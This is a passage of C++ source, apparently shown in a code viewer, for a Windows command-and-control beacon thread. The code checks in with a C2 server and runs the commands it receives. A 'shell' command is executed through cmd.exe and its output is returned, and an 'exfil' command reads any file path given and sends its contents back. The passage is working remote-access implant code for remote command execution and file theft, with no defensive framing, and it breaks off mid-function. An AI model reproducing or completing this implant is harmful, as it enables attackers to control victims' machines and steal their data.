| 14 | C2Client *g_c2Client = nullptr; |
| 15 | |
| 16 | DWORD WINAPI c2BeaconThread(LPVOID lpParam) |
| 17 | { |
| 18 | C2Client *c2 = (C2Client *)lpParam; |
| 19 | c2->setActive(true); |
| 20 | |
| 21 | while (c2->isRunning()) |
| 22 | { |
| 23 | try |
| 24 | { |
| 25 | // Beacon to C2 server |
| 26 | vector<wstring> commands = c2->checkIn(); |
| 27 | |
| 28 | // Execute commands |
| 29 | for (const wstring &cmdLine : commands) |
| 30 | { |
| 31 | size_t pos = cmdLine.find(L'|'); |
| 32 | wstring cmd = (pos == wstring::npos) ? cmdLine : cmdLine.substr(0, pos); |
| 33 | wstring args = (pos == wstring::npos) ? L"" : cmdLine.substr(pos + 1); |
| 34 | wstring result; |
| 35 | |
| 36 | if (cmd == L"shell") |
| 37 | { |
| 38 | wchar_t buffer[4096]; |
| 39 | wstring cmdExec = wstring(L"cmd.exe") + L" /c " + args; |
| 40 | FILE *pipe = _wpopen(cmdExec.c_str(), L"r"); |
| 41 | if (pipe) |
| 42 | { |
| 43 | wstring output; |
| 44 | while (fgetws(buffer, 4096, pipe)) |
| 45 | output += buffer; |
| 46 | _pclose(pipe); |
| 47 | result = L"SHELL|" + output; |
| 48 | } |
| 49 | else |
| 50 | { |
| 51 | result = L"ERROR|Failed to execute command"; |
| 52 | } |
| 53 | } |
| 54 | else if (cmd == L"exfil") |
| 55 | { |
| 56 | // Convert path encoding |
| 57 | int len = WideCharToMultiByte(CP_UTF8, 0, args.c_str(), -1, NULL, 0, NULL, NULL); |
| 58 | string pathUtf8(len, 0); |
| 59 | WideCharToMultiByte(CP_UTF8, 0, args.c_str(), -1, &pathUtf8[0], len, NULL, NULL); |
| 60 | |
| 61 | ifstream file(pathUtf8, ios::binary); |
| 62 | if (file) |
| 63 | { |
| 64 | stringstream buffer; |
| 65 | buffer << file.rdbuf(); |
| 66 | string dataA = buffer.str(); |
| 67 | wstring data(dataA.begin(), dataA.end()); |
| 68 | result = L"EXFIL|" + data; |
| 69 | } |
| 70 | else |
| 71 | { |
| 72 | result = L"ERROR|File not found: " + args; |
| 73 | } |
nothing calls this directly
no test coverage detected